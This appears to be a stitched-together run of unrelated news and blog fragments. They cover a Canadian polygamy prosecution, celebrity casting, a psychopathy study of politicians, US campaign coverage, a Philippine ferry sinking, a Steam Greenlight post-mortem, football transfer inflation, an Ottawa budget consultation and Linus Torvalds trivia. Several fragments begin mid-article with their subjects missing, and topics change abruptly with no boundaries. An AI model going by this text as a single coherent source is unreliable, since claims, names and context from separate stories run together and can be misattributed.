On Aug. 20, Blackmore will be back in B.C. Provincial Court in Creston to fix a date for his criminal trial on the polygamy count. Blackmore has attempted to have the charge quashed on the basis that the special prosecutor had been improperly appointed, a claim rejected by a B.C. Supreme Court judge in June.
Another former bishop of the Fundamentalist Church of Jesus Christ of Latter Day Saints, James Oler, will also be in Provincial Court in Creston on Aug. 20. He is charged with one count of polygamy, with four wives named on the indictment, as well as one count of transporting a child under the age of 16, a daughter, for an illegal purpose — a marriage in the United States.
Blackmore’s brother, Brandon, will be in B.C. Supreme Court in Cranbrook on Aug. 13. Brandon Blackmore and one of his wives, Emily Crossfield, are also charged with transporting one of their underaged daughters to the U.S. to be married.
It is almost certain the Conservatives would not have even thought of polygamous families before they made the $3-billion, “family-friendly” childcare announcement last month.
They did, after all, make child trafficking a criminal offence and increase the penalties.
The actor-comedian has joined the cast of the critically adored prison dramedy's third season in a recurring role. The part will remain shrouded in secrecy, which is in keeping with showrunner Jenji Kohan's philosophy on spoilers. In a recent cover interview with The Hollywood Reporter, Kohan would say only that the series' third season will be "about faith, to a certain extent."
Birbiglia's new gig comes as he continues to build his film portfolio, having wrapped roles in MGM's Reese Witherspoon vehicle Don't Mess with Texas, Judd Apatow's Trainwreck and Digging for Fire with Jake Johnson. He was most recently seen in the box-office smash The Fault in Our Stars, and will appear next in the film iteration of Annie, starring Quvenzhane Wallis and Cameron Diaz.
Netflix execs are already familiar with Birbiglia's brand of comedy having worked with him on the 2013 one-man show My Girlfriend's Boyfriend. The 36-year-old comic is currently honing his material on a 100-city tour of his stand-up show, Thank God for Jokes.
Oxford University's Dr Kevin Dutton has been exploring the psychopathic traits of the US presidential hopefuls and historical figures using a standard psychometric tool – the Psychopathic Personality Inventory – Revised (PPI-R).
Dr Dutton has spent much of his career looking at psychopaths and researching psychopathic traits, identifying those which can be of benefit and those which can lead to incarceration. He contends that being a psychopath is not an all-or-nothing affair. Instead, psychopathy is on a spectrum along which each of us has our place. There are several professions which seem to attract more than their fair share of those high on the psychopathic scale, among them business, surgery, the law, military and… politics.
Over the past few years, Dr Dutton has contacted the official biographers of many historical leaders and asked them to fill out, on their subject's behalf, an abbreviated version of the Psychopathic Personality Inventory – Revised (PPI-R). As it unfolds, the 'league table' shows that the vast majority are high scorers – including Winston Churchill – especially on the positive aspects like social influence, fearlessness and coolness under pressure. However, analysis also reveals that leaders who possess psychopathy's negative traits – such as self-centredness, impulsivity and a lack of empathy – tend not to do so well in office.
Further to analysing political leaders, Dr Dutton recently turned his attention to the contenders for the US presidency. Working with an anonymous, highly respected and seasoned political correspondent, Dutton has analyzed the psychopathic traits of the then presidential hopefuls Donald Trump, Hillary Clinton, Ted Cruz and Bernie Sanders. Like the historical biographers, the correspondent filled out the PPI-R short version for each of the candidates.
Dr Dutton explained: 'The PPI-R does not say that someone is or is not a psychopath. It scores them on eight traits that contribute to a psychopathic character. Some of those traits, such as fearlessness or stress immunity, can be positive. Others, such as blame externalisation or being unconcerned about the future, are more likely to be negative. One, cold-heartedness, can contribute to good and bad leadership.
'Both great and terrible leaders score higher than the general population for psychopathic traits, but it is the mix of those traits that determines success. For example, someone who scores highly for being influential, fearless and cold hearted could be a decisive leader who can make dispassionate decisions. If those traits are accompanied by a high score on blaming others, they might be a genocidal demagogue.'
The results clearly show Donald Trump to be higher scoring than rivals, achieving a total score on a par with Hitler and Idi Amin. Of particular interest, Trump outscored the other candidates in 'fearless dominance', the area associated with successful presidencies, and in 'self-centred impulsivity', the set of traits considered negative.
WATERLOO, Ia. — The Donald now appears to enjoy a prime spot in Bernie Sanders’ stump speech.
While campaigning in Iowa Saturday, the Vermont senator peppered jabs at Republican candidate Donald Trump throughout his speeches.
Saturday morning in Anamosa, Sanders took aim at Trump’s controversial plan to ban Muslims from entering the United States. He listed that proposal among a litany of efforts from the rich and powerful that he said were designed to "divide us up."
Later in the day at Dubuque's Grand River Center, Sanders included Trump in his castigation of the mainstream media's coverage of politics.
"I know this is a very radical idea, but maybe the campaign should be about the American people and not Donald Trump," he said.
Sanders pushes criminal justice reform in eastern Iowa
Sanders repeatedly slammed Trump for comments he made in August that a low minimum wage was necessary for the United States to remain globally competitive.
"Having a low minimum wage is not a bad thing for this country,” Trump told MSNBC at the time.
“Well, it may not be a bad thing if you’re a billionaire," Sanders said in Dubuque Saturday afternoon. "But it’s sure as hell not a good thing if you’re a working person trying to survive."
Sanders is championing a federal minimum wage of $15 as a cornerstone of his middle-class-centric platform.
Sanders rarely mentions Hillary Clinton, his primary competition for the Democratic nomination, by name. While he does take jabs at Republican stances, he has so far restrained from calling out individual candidates in Iowa appearances.
For her part, Clinton has made Republican criticism a staple of her primary campaign. Earlier in the week, Clinton said Trump's proposed Muslim ban was "not only a shameful idea, that’s a dangerous idea."
The series comes from CarWow and includes a Xenomorph as a Tesla Model X; Freddy Krueger as an Ariel Nomad; Ghostface as an Alfa Romeo 4C; Frankenstein as a Mercedes-AMG G63; Jason Voorhees as an Abarth 595; The Grady Twins as Smart cars; Dracula as a Mazda MX-5; Hannibal Lector as a Jeep Wrangler; Leatherface as a Dodge RAM 1500; and Pinhead as a Citroen C4 Cactus.
Check out an official synopsis and the rest of the images below.
New Zealand authorities have told Albert Buitenhuis, who weighs 286 pounds, that he may be deported because he did not have "an acceptable standard of health," the BBC reports. Buitenhuis weighed roughly 65 pounds more when he first moved to the country, but this is the first time he has had any trouble renewing his annual work visa.
"It is important that all migrants have an acceptable standard of health to minimise costs and demands on New Zealand's health services," an Immigration New Zealand spokesperson told News24. She listed diabetes, hypertension and heart disease as some of the risks Buitenhuis faces because of his weight.
A 40-year-old ferry owned by 2GO Group Inc sank about a kilometer offshore on Friday after a collision with a cargo vessel. At least 52 people were killed and 68 were still missing, officials said.
The ferry was also carrying 120,000 liters of bunker fuel, 20,000 liters of lube oil and 20,000 liters of diesel fuel when it sank. The 2GO Group said it believes only the lube oil and diesel fuel were leaking.
The oil slick had reached Cordova municipality and Lapu-Lapu City, both on Mactan island, home to five-star beach front resorts.
Lantao town in Cordova, known for its seafood restaurants, was now surrounded by oil, said its mayor Adelino Sitoy.
A sheen of oil also covers at least 10 to 20 hectares of mangrove plantations in Cordova, and a member of a local marine watch group said rehabilitation of the area would be costly.
“We have no livelihood now because no one will buy the fish we haul, with a lot of bodies still in the water and oil in the sea,” Ernesto Cabiso, 49, a Cordova fisherman, told Reuters.
Philippine Navy divers look for the bodies in the passenger ferry that sunk 150 feet below in the seas off the waters in Talisay, Cebu in central Philippines August 17, 2013, near a damaged bow of a cargo ship that collided with the ferry. REUTERS/Erik De Castro
Authorities were using chemicals to disperse the oil.
Coast guard teams were conducting manual clean up in areas affected by the oil spill, said Commodore William Melad, head of the coast guard district in the central Visayas region.
I had so many questions to clean out of the mailbag that I wanted to get to, that I decided to split it up into two posts. You can see Volume 5 of the Mailbag here, where I answer questions about the Magic’s draft needs and what the Magic need to go after in free agency.
A lot of the questions are going to persist for the next few months. But I am happy to answer them.
So as the NCAA Tournament winds down, I am finishing off my mailbag. Keep those images of Stanley Johnson, Mario Hezonja (more on him in a bit) and Willie Cauley-Stein dancing in your heads.
It would also be nice for the Magic to get a new coach. I will address that some in this mailbag.
And, oh by the way, the Magic season is winding down to its end as we are less than 10 games from the season’s end and getting a lot of these questions (finally) answered. If not satisfactorily answered.
Phew, it will be very busy here in the Magic Kingdom for some time.
If you have an Orlando Magic question, or any kind of question, send it to me for future mailbags at [email protected], or tweet at me anytime @omagicdaily. I save some for future mailbags and some I answer immediately. I am here for you.
With the border being much tighter, it may lead to a greater construction worker shortage.
A framer or carpenter may have the skills, but if he or she doesn’t have the papers, the Trump administration intends, “to publicize crimes by undocumented immigrants; strip such immigrants of privacy protections; enlist local police officers as enforcers; erect new detention facilities; discourage asylum seekers; and, ultimately, speed up deportations,” reports The New York Times.
Back in 2006, Sanjay Bhatt, writing in The Seattle Times, pointed out that “Locally, many inspectors, construction foremen and union organizers estimate that in the last few years [illegal immigrants] have come to represent anywhere from half to 90 percent of the work force at residential job sites in the Puget Sound region. They dominate unskilled-labor crews and are prevalent among drywallers, framers, roofers and other semiskilled trades.” It was (and is) no different in Las Vegas, Atlanta, or anywhere else where houses are being built.
Mr. Yun, who is the National Association of Realtors’ chief economist, tells Hahm, “It’s widely known but less discussed that there are many undocumented workers at construction sites. And with the border being much tighter, it may lead to a greater construction worker shortage unless America can crank out people with the skills in construction, plumbing, lumber framing, and welding,”
Mr. Yun should know that here in the U.S. we want every able bodied person to go to college and be, as the song goes, doctors, lawyers and such. The National Center of Education Statistics provides the numbers, “Of the 1,870,000 bachelor's degrees conferred in 2013–14, the greatest numbers of degrees were conferred in the fields of business (358,000), health professions and related programs (199,000), social sciences and history (173,000), psychology (117,000), biological and biomedical sciences (105,000), and education (99,000). At the master's degree level, the greatest numbers of degrees were conferred in the fields of business (189,000), education (155,000), and health professions and related programs (97,000).”
America is turning out business majors, not framers and bricklayers. “The US has approximately 200,000 unfilled construction jobs, which represents an 81% increase over the last two years, according to estimates from the National Association of Homebuilders,” writes Hahm.
“Homebuilders keep delaying as to when they can dig the ground,” Mr. Yun said. “They’re actively looking for workers, but there just aren’t enough.”
While Mr. Trump campaigned on the idea that illegal immigrants are flooding the borders, the fact is, after the housing crash, most workers scattered, many back to their native countries. “The construction industry in the U.S. has lost 570,000 Mexican workers since 2007, many of whom have likely returned to their home country and will not return to the U.S. because of increased immigration control and economic opportunities in Mexico, according to a report released Monday,” wrote Kelly Knaub for Law.360.com in 2015.
Two-thirds of builders can’t find enough carpenters and framers.
With young people being lured to college, the average age of skilled construction labor is increasing fast. “That’s what keeps me up at night,” Doug Bauer, CEO, TRI Pointe Homes, said in a statement released in a report by John Burns Real Estate Consulting. “Electricians, plumbers, framers — their average age is about 50.”
The report says two-thirds of builders can’t find enough carpenters and framers, and 40 to 50 percent of other builders say they can’t hire enough masons, painters, electricians, plumbers and roofers.
Five years ago 53 percent of skilled-trade workers were more than 45 years old, and nearly 20 percent were aged 55-64. Those percentages have only gone up since.
Immigrants have built this nation from the beginning. Chinese and Irish immigrants built the transcontinental railroad. Mr. Trump’s home town of New York is dominated by immigrant-controlled neighborhoods. “Of the 55 [New York] City neighborhoods defined by the U.S. Census Bureau, nine have immigrant populations that exceed 50 percent of the neighborhood’s total population. In another ten, immigrants account for between 40 percent and 50 percent of the total population,” states a report from the New York state Controller.
As for immigrants from south of the border, a NBER study “has found that low-skilled Mexican immigrants are more responsive to changes in employment, and are quick to relocate when there is a period of high unemployment in the area they live in.” This flexibility is good for the U.S. economy which often has a number of jobs that go unfilled.
Woolworths said it will be engaging with customers through panel discussions and focus groups to find out what alternatives they would like to see in the checkout aisles.
“The rollout will start with all new Woolworths stores, as well as large format stores,” it said in a statement on Friday (28 August).
Woolworths said it has been on its Good Food Journey for over 10 years, during which time significant steps have been taken towards providing customers with better choices.
Some noteworthy milestones have included the announcement in 1999 that MSG and tartrazine would no longer be used, as well as substantial salt and sugar reductions in many existing foods products, it said.
Read: The most fattening fast food kids meals in South Africa
“As the next step on this journey, Woolworths has made the decision to remove all sweets and chocolates from our checkout queues, reflecting our commitment to providing alternatives for children and parents,” Woolworths said.
The chain said that over the course of 2007 and 2008, it removed the equivalent of 20 million teaspoons (approximately 79 tonnes) of sugar from chilled 100% juices and nectars, reduced the sugar content across the yoghurt range by 15%.
It said that it has reduced the salt content used in making over 100 of its own-brand products which has resulted in a dramatic reduction of 35.2 tonnes of salt. These include breads, cereals and deli meats, as well as biltong, cheese, boerewors, fish, party snacks and some of its frozen foods.
Spencer Sonn, member of the Foods Leadership Team at Woolworths, said: “I am delighted that we are committing to remove sweets and chocolates from our checkout aisles. Customers can trust that Woolworths has their best interests at heart, and as a father myself, I am very proud that we are leading the way on providing healthier kids’ options.”
More on Woolworths
Times are tough – but you’re still buying Woolworths’ premium products
Best and worst clothing stores in South Africa
Adults and children of all ages are salivating at the mouth for any peek at the upcoming Avengers: Age of Ultron movie, set to hit theaters May 1. This week, Marvel released the film's most revealing trailer so far, and it's got everything you'd hope for: dramatic dialogue, over-the-top sound effects and lots of conflict. What more could you want?
Not a whole lot, so we lowered the budget. With the help of Vine superstars and siblings Arwen (age 10), Leia (age 8) and Neo (age 5), we dubbed over the trailer with some of Marvel's youngest fans.
The thoughts and opinions expressed are those of the writer and not Gamasutra or its parent company.
Last February 10th we excitedly launched a Greenlight campaign in order for Wincars Racer, our game in which a team of 8 people have been working for two years, to be released on Steam.
Wincars Racer is a fast-paced online arcade racer game which pays homage to classic titles like OutRun, Burn Out, Mario Kart, Sega Rally, where strategy also plays a role. The aleatory item system is dropped in favour of the player’s ability behind the wheel and the use and configuration of the special skill that he/she chooses.
Before reading this article I advise you to have a look at the campaign to have a better understanding.
Everything went ok
Not that I thought this would go wrong for us or that our game didn’t deserve to be greenlit by the community, but truth is the result was remarkably good achieving it on February 25th, ending 24th place after being in the Top 100 nearly through all the two weeks.
After reading so many articles in Gamasutra while I was preparing my campaign, I though it was fair to analyze it publicly and draw some useful conclusions.
Preparation:
I will focus on what worked
Description
We went for an approach as similar to a pitch elevator as possible. Then, a hook phrase which defines your game, and at the same time explain what makes it special. After this, a list of main features, a link to play the demo (I will talk about this later on) and a flashy little section for press mentions and awards.
Filling the description with images, GIFs and headings for each section has been a good idea for games which have done well on Greenlight.
We went for something simpler and we saved a lot of time to be used on other tasks.
Images
Same approach as before. We used the best six images we had and it was enough. Valve makes you use a minimum of four images and we had many more available in the press kit but we want to go straight to the point. Most of the players who check Greenlight devote a very small amount of time to each game so it is best to highlight your best features: ”There’s no second chance to make a good first impression”
Choosing your branding image
We devoted more time to this task and we think that the number of visits increased for this reason. We made an animated GIF with some of the most spectacular moments of the game which were representative of the gameplay and we also interspersed the logo.
Although Greenlight lets you upload a bigger GIF we decided to optimize at 150 x 150 pixels which is the size shown in the page where you compete with other games to get people’s attention. In your page’s profile the resolution will look like crap but that’s where people will mainly pay attention to the video and the images.
Views and votes over time
The graph says it all. From day 21 the organic traffic practically dies. The upturn from day 15 shows our maximum effort giving it visibility in the threads we had opened on forums as well as having a bigger activity on Twitter, Facebook groups, etc…
It is clear that the best thing to do is to try to concentrate your resources on a good launch and letting Valve’s system keep you visible for as long as possible. Never try a long term “leak” campaign as you will lose most of your options.
Press/youtubers mailings
Today, an independent studio launching a Greenlight campaign is no big news. It is very difficult to get the media publishing your press release unless the game is extremely polemic or original.
Our plan was to launch an open Beta version of the game the same day we kicked off the Greenlight campaign.
The mail we sent had the following subject:
“Wincars Racer launches a campaign on Greenlight and announces open Beta”
A much more appealing headline in order to get a journalist, a youtuber or any streamer interested in your game and publish a post or record a video about it, which on top of that means added value giving their readers and followers the chance to play and try the game.
It worked.
Some examples of pieces and articles written about Wincars Racer:
Indiegames.com
“A free open beta is available on the game's site for anyone who wants to try it out. I'm down for any fun racer that doesn't involve me getting blue shelled, so I'm in” - link to the article
MMOS.com
“Wincars Racer Enters Open Beta, Hits Steam Greenlight” - link to the article
Onrpg:
"Wincars Racer First Impressions: Arcade Racer with Potential" - link to the article
Some publications like IGN Spain directly titled “Wincars Racer launches its open Beta” and talked about and recommended the greenlight inside the article.
It’s always advisable to write each email individually, but if you can’t afford to do this for lack of time there are great tools which will help you.
We used Mailchimp to send these automated press statements. A great tool which guarantees your mails will reach their destination. It doesn’t make spam filters go off and provides data about who actually opens your mails and even the links which they click on. If your emails are not opened you can try sharpening your aim and drawing conclusions about what you are doing wrong, it has A/B tests integrated in the mails.
However, do not forget there are people at the other end opening mails. Personalize them the most you can, with the recipient’s name and surname, personally answer each journalist who writes to you and make things as easy and straightforward for them as possible. Don’t forget having a press kit ready and include it in your mail.
You don’t have a press kit yet? No, the information on Greenlight is not enough. Have a look at press kit()!
Don’t worry if there are people who open your email but finally don’t post anything about your game. This can be due to a thousand factors and not because you did something wrong or your game is not attractive enough (you will be aware of this in many other different ways).
Journalists usually follow many games until they decide that it’s time to talk about them or that they fit into their publishing agendas. Having them periodically updated with the most important events relating the development of your game will help to make yourself a name and it can be the first step to build a stronger personal relationship for the future.
Mailings for players who signed up at our site
Since we started our development blog we added an option so those players who wished so could join a Wincars Racer mailing list. In exchange we offered them exclusive content like early access to Beta Tests and invitations to participate in tournaments where we had prize draws and we gave away gaming helmets, t-shirts, etc…
We have more than 3000 registered players and the statistics say that more than 600 opened the email the same day we sent it, and that 200 clicked on the Greenlight link. We can assume that means 200 positive votes, can’t we?
Besides, many players told us they had received the email but hadn’t had the chance to vote on greenlight in that precise moment, and that they would do so later. For this reason we assume that the number of positive votes coming from the mailing list is substantially bigger.
Google Analytics: Where the visits came from
Once you launch your campaign on Greenlight you get access to a basic analytics site on Steam. If you want more detailed information it also allows you to synchronize a Google Analytics account. I recommend to do this because it gives a clearer view about where do people coming to your page come from. It will also help you to make future decisions about how to approach your marketing strategy for the game, the launching or even to decide into what languages should the game be translated.
These are the final statistics according to Steam:
And these are the Google data:
As you can see they’re not exactly the same but don’t give it more importance than it has, this is due to the different criteria used to determine which user is a unique user and which one is not.
Do not worry either about the rebound rate, conversion, or the ratio of first time users vs users who come back. These data can be very useful for your site’s Analytics but not for a greenlight.
This image is indeed important if you are thinking about what countries or languages should your launch campaign should be focused on, even more so if your game as strong online approach as ours, as it can also help you to optimize your servers.
This graph also shows a very important fact:
Up to this moment I had read in other post mortems that the usual is for 70-80% of your traffic to come from Steam itself. Although the graph says 30% comes from Steam, most of 53% of direct traffic also corresponds to clicks on the game icon on Steam. Crosschecking these data with those from Mailchimp regarding people who clicked on the link in the emails we sent (which is also included in direct traffic) we could deduct that 60-70% of our traffic came from Steam.
The referrals graph is a bit disappointing. Despite being featured and recommended on many sites, the number of visits is not very big. Although the sum of all of them has been of great help spreading the word (adding the ones we don’t know about, disguised among direct traffic).
Social networks, mainly Twitter and Facebook also helped with 500 visits, a 5% of the total.
Building a community around our game from the beginning of its development was the key. Keeping and taking good care of the relation with journalists was also helpful in order to get more visibility, but not so much as we expected, I think that this would be different if we were discussing a game release and not a greenlight campaign.
The positive/negative votes ratio
First, I would like you to have a look at the ratio between positive and negative votes.
This is the ratio we had 4 hours after launching our Greenlight:
It began decreasing 8 hours later
This is what it looked like 24 hours after the launching
Data after a week
Finally the ratio we ended up with when the game got greenlit
We had a yes/no ratio close to 50% among the players who got to know our game for the first time through Steam Greenlight.
However, we managed to increase this percentage to our favour thanks to all the votes we received during the first days from our followers, who got to the site through our emails and social networks as well as from articles published in the press.
The site Green DB, as well as indicating your rank position on Greenlight, also awards a maximum of 5 stars to each campaign. Ours got 4 stars from the beginning to the end.
No one knows exactly how does Steam work in order to decide how many people it will show your Greenlight to, but I suspect having a ratio above the average was beneficial in order to get thousands of extra organic traffic.
Trying to achieve a good initial “momentum” can be the key to manage to prolong those first days of maximum exposure.
Events at fairs
I assume everyone knows already how important it is to attend fairs and to show your game to the public first hand.
We couldn’t, in economic terms, afford to attend fairs which are held abroad, but we did take the chance to make our greenlight coincide with an event which was going to be celebrated in our city, The Japan Weekend. We also organized our own event at Telefónica’s Flagship Store as a release act for the open Beta and the Greenlight where we invited the press.
These events allowed us to win more followers in our web, positive votes on Greenlight, plenty of photographic material to share on social networks and above all to have the chance of having the press play our game and solve their questions.
This is not an action to be synchronized with the first day of your launching on Greenlight (you will have too much work to pay attention to and preparing for a fair is a hell of a lot of work), but without a doubt it helped prolonging the exposure in the press and social networks.
Finally, as highlighted by Thomas Brush, the creator of Pinstripe, in his article “Why your Kickstarter Will Fail”, attending fairs will help you establishing new relationships with the media and other videogame creators besides reinforcing the ones that already exist.
Summarizing
As a general rule, only show the best about your game.
I know how great it is to have lots of content, but if you have to choose, do not hesitate to go for quality over quantity. This is not Kickstarter and there’s no need to show everything you have to justify the economic support. You better focus on making a good impression shooting your best shot in a clear, simple and straight way.
What didn’t work:
We didn’t manage to appear in almost any of the big videogame publications.
It may be useful in order to get the media to know and follow you, but we didn’t get a lot of visits through the media that covered our campaign.
We hardly attracted any traffic from Reddit. My advise is that if your not regular users of some successful subreddit, don’t even try it. You’ll be marked by the punishing cross of Spam.
1.4k SHARES Facebook Twitter Whatsapp Linkedin
Transocean to cut 230 offshore drill crew jobs, from its Norwegian operations, as the company continues to struggle despite recent awards.
According to media sources the Swiss registered drilling company is looking to cut around 230 positions, from its Norwegian based offshore drill crews, on top of 575 jobs already lost in the country.
Just last week Transocean released details of new contract awards, worth approximately US$500 million, it had won from a period covering October 2015 to February 2016.
Transocean To Cut 230 Offshore Drill Crew Jobs
However much of the work was based in the US Gulf of Mexico, with the biggest being a 10 year deal with Shell for the company’s latest ultra deepwater drillship Deepwater Thalassa, and not within the North Sea sectors.
The majority of the company’s drilling rigs currently operating within the Norwegian sector are due to finish current contracts over the next few months.
Of the four rigs that are due to finish work, three will be laid up on a warm stack basis with a heavily reduced crew, and one on a cold stacked basis with with all crew laid off.
Norwegian Drilling
Before revealing the 100 most expensive players in the Premier League era – after our TPI inflation has been applied – please allow me to provide a brief explanation, for those who don’t want to click on the hyperlink. (Feel free to scroll to the end to see the list, although don’t then complain that it doesn’t make sense…)
The latest TV deal saw an increase of 70% on the previous payment agreement; meaning that, much like previous TV deals, there’s been a fairly hefty increase in the money clubs are receiving. And yet people still seem shocked by the inflation of transfer fees (and wages); or simply don’t seem to grasp the concept. Even comparing prices from 2012 against those of today is fairly pointless without inflation, such has been the size of the rise.
Since 1992 there has been an eleven-fold increase in the average price of a Premier League footballer. This increase was calculated by Graeme Riley for the Transfer Price Index we created, which we’ve been keeping track of since 2010.
However, in just the past two years there’s been an increase of 62% in the average price of a Premier League footballer; not far off the 70% rise in TV money – to show how the two go hand-in-hand. Our current prices are in “2015 money”, which is calculated from the spending of the 2014/15 season; it may well be that spending in the coming season sees a further dramatic rise, but that will be calculated to form 2016 money in a year’s time.
No matter how many times I explain it, there are always requests as to how it’s calculated, or people saying “an inflation calculator gave a different result”. Football inflation runs at a much higher rate than normal inflation (although football inflation did crash with the stock markets at the end of the last decade). Did your grocery bill go up by 62% in the past two years?
We use a model that is identical in methodology to the Retail Price Index (tracking the average cost of several items of produce), but we apply it to footballers, not milk, bread and coffee.
Yes, there are high outliers who perhaps drag the average up, but also free transfers to drag it down. It can be tweaked, twerked and twiddled, but we prefer to keep it as a simple calculation, onto which we put no fancy frills. Perhaps we could track the rate the richer clubs increase it by, but even relegated clubs are picking up over £60m in a single season.
For the purposes of practicality we stuck to English football in the Premier League era, as it was enough of a task finding all the data for that (and doubly hard to find accurate reporting of fees). We don’t take into account contract length at the time of a move, or any age adjustments, although the latter can be tracked; so we can work out what is a high fee for a 31-year-old, but whatever that fee is it goes into the pot the same as all the others. The same is true regardless of what position the players play (and aside from goalkeepers, players can change position, or be utility men, which makes it more complicated.) Also, we use the price reported in sterling, not Euros. If we were a full-time business we might delve into the data to a greater degree, but we’re doing this in addition to our day jobs (and in my case, to add another layer to TTT). We hope to do more with the data, when we get the chance.
With inflation, the top three purchases of the Premier League era work out at a fraction over £80m; which is in keeping with what top Premier League players have been sold for (Ronaldo, Bale and Suarez, although with inflation, Ronaldo is well over £100m; although that’s using our TPI inflation, not anything relating to Spanish football – although Graeme touched on that issue here.)
Before getting onto the Top 100 (as of 23rd July 2015), I just wanted to make a note on how people compare transfer fees. I read last week that Liverpool were prepared to pay £32.5m for Christian Benteke when Arturo Vidal was only going to cost “£28m”. And yet one is 24, and the other is 28.
If you don’t think age plays a part, think again. In the same way as driving a car off a forecourt sees it lose a large chunk of its value, then buying someone aged 28-30 is effectively throwing away a big percentage of the transfer fee. In addition to wages, which may be higher for players in their supposed prime, approximately 75% of the fee has to be written off. (All of this analysis excludes free transfers.)
Buy a younger player, and on average a loss will still be made after inflation is taken into account – but it will be far less damaging. For every £9m spent on players aged under 28, £6m will be recouped. In other words, only 35% gets “lost”, as opposed to the 75% that gets lost on players aged 28-30. Some clubs can afford to take this hit; others can’t.
Was Robin van Persie a wise investment by Man United? He played a key role in their last title (so you can say that it made sense) and yet, it seems, his decline played a role in United dropping to 7th and 4th. After inflation, the van Persie deal loses £33m in transfer fees alone, plus the massive wages (c.£40m) that he effectively only earned one year out of three. Someone like Gonzalo Higuaín was just 24 at the time, and may have been a wiser long-term investment – although United had also started struggling when buying younger players.
Of the top 30 most expensive 28-30-year-olds signed in the Premier League era – therefore what collective wisdom would have labelled “ready made” players – there are a whole host of flops and disappointments of various degrees: Shevchenko, Veron (Chelsea), Soldado, Ince (Liverpool), Berg (Man Utd), Fernandinho, Kolo Toure (Man City), Saunders (Villa), Bilic (Everton), Flo (Sunderland), Keane (Liverpool), Platt (Arsenal), Casiraghi, Samba (QPR) and Scales (Liverpool). These cost between £20m – £82m in today’s money. Not all were dreadful, but none justified the fee. Only seven of the 30 ‘peak years’ signings played over 100 Premier League games for the club they joined.
About 100 people attended the meeting at city hall to hear five pitches including improved winter maintenance, long-term arts funding, sustainable funding for new social services organizations, affordable housing and transitioning to cleaner energy.
The meeting was hosted by Rideau-Rockcliffe Coun. Tobi Nussbaum, Rideau-Vanier Coun. Mathieu Fleury, Capital Coun. David Chernushenko, Somerset Coun. Catherine McKenney and Kitchissippi Coun. Jeff Leiper.
They asked the crowd to consider paying one per cent more than they currently do in taxes — adding $14 million to city revenue and an expense of $35 per year for the average homeowner.
Green energy, new social enterprises
The most popular pitches were a $4 million capital investment in affordable housing, the renewable energy plan and supporting new social service organizations.
Janice Ashworth, general manager of the Ottawa Renewable Energy Co-op, said the Ottawa Chamber of Commerce is urging council to work on the energy transition.
Janice Ashworth, general manager at the Ottawa Renewable Energy Co-op, said the Ottawa Chamber of Commerce had already been involved in a year-long consultation on clean energy opportunities at the city. (Matthew Kupfer/CBC)
She sketched out a $1.5 million plan to spend on electric car charging stations, a sustainability audit office, a tower retrofit program to improve energy efficiency and net-metering for solar energy.
"Let's take advantage of this money-making opportunity, let's stop wasting taxpayer dollars literally in smokestacks or in wasted heat from inefficient light bulbs," she said.
Jason Garlough — co-founder of Hidden Harvest, an social enterprise that uses urban foraging to get food for people in need — proposed a $500,000 increase to existing funding for community groups providing social funding and a matching increase available to new, innovative organizations.
Jason Garlough, co-founder of Hidden Harvest, said social enterprise organizations like his could use funding from the city to bring more money into the city to address social and environmental issues. (Matthew Kupfer/CBC)
"The innovation isn't difficult, sustaining that innovation and supporting it is very difficult. Especially accessing a very small amount of money from the City of Ottawa, when there's some risk involved," Garlough said.
He said the money could go towards dozens of groups already working, such as Hidden Harvest or Operation Come Home, which helps homeless youth.
Diane Breton, 1st speaker, called for improvement to winter maintenance standards of pedestrian paths, transit stations. <a href="https://twitter.com/hashtag/ottcity?src=hash&ref_src=twsrc%5Etfw">#ottcity</a> —@matthewkupfer
Speakers Victoria Steele and Catherine Lindquist make pitch for arts funding, one-time opportunities from 2017 to be built upon <a href="https://twitter.com/hashtag/ottcity?src=hash&ref_src=twsrc%5Etfw">#ottcity</a> <a href="https://t.co/LQ9YNbcwrc">pic.twitter.com/LQ9YNbcwrc</a> —@matthewkupfer
Speaker <a href="https://twitter.com/DCarrOttawa?ref_src=twsrc%5Etfw">@DCarrOttawa</a> raised ways the City of Ottawa could use its land to increase affordable housing stock. <a href="https://t.co/duePGVzX7p">pic.twitter.com/duePGVzX7p</a> —@matthewkupfer
Raise taxes, reallocate road funding
People at the consultation gave their feedback through live electronic votes. They most often favoured paying for the programs through a combination of raising taxes and reallocating existing city funds.
When asked where money should be taken from in the existing budget, the overwhelming response was to take from the budget for roads and parking — areas that may be a hard sell with other members of council.
"We are only five of 24 members of council, so if people feel that these messages ought to be heard by more of us, they should come out and speak to all of council at the committee stage," Nussbaum said.
He added some ideas, such as the energy efficiency proposal, may get an easier reception when councillors consider the long-term savings.
"Ensuring that the budget is putting up the capital now to save money down the road is both an environmental and economic priority," he said.
"it's something I think the city should be investing more in."
Draft budget next month
The discussion is likely theoretical, since neither the mayor nor the majority of councillors have shown any appetite to raise the property tax rate beyond the two per cent cap already pledged.
There are two more formal budget consultations planned, according to the City of Ottawa:
Thursday, Oct. 19 at 6 p.m. at the Nepean Sportsplex,
Thursday, Oct. 26 at 6 p.m. at Ben Franklin Place on Centrepointe Drive.
The city's draft 2018 budget will be released on Nov. 8, then will be discussed by councillors, experts and the public at committees over the next four weeks.
Linus Torvalds, a Finnish student developed a Unix-like operating system while he was doing his masters in the year 1991. It has become a revolution since then and today it powers most of the web, embedded devices and all of the top 500 supercomputers.
I have already written about less known facts about Linux. This article is not about Linux. It’s about its creator, Linus Torvalds.
20 Interesting facts about Linus Torvalds
Probably you already know some of the facts about Linus but chances that you’ll know some new facts about him.
1. Linus Benedict Torvalds was born on 28th December 1969 in Helsinki. He comes from a family of journalists. His father Nils Torvalds is a Finnish politician and perhaps president candidate in the next elections.
He was named after Linus Pauling, a double Nobel prize winner in Chemistry and Peace.
2. While you may find several people with the name Linus, you won’t find many people with the name Torvalds. Because the ‘correct’ spelling is actually Torvald (without s). His grandfather changed his name from Torvald to Torvalds, adding an ‘s’ at the end. And thus the Torvalds dynasty began (if I can call it that).
Since this is an unusual surname, there are hardly 30 Torvalds in the world and they are all relatives, claims Linus Torvalds in his biography.
3. At the age of 10, Linus started writing programs in BASIC on his maternal grandfather’s Commodore Vic 20. This is when he discovered his love for computers and programming.
4. Though he preferred to spend time on computers rather than in athletic activities, he had to attend the compulsory military training. He held the rank of Second Lieutenant.
5. In early 1991, unhappy with the MS-DOS and MINIX, Torvalds wanted to buy a UNIX system. Luckily for us, he didn’t have enough money. So he decided to make his own clone of UNIX, from scratch.
6. In Sep’91, Linus announced Linux (Linus’s MINIX) and encouraged his colleagues to use the source code for wider distribution.
7. Linus thought that the name Linux was too egotistical. He wanted to change it to Freax(Free, freak and MINIX) but his friend Lemmarke has already created a directory called Linux on his FTP server. And thus the name Linux continued.
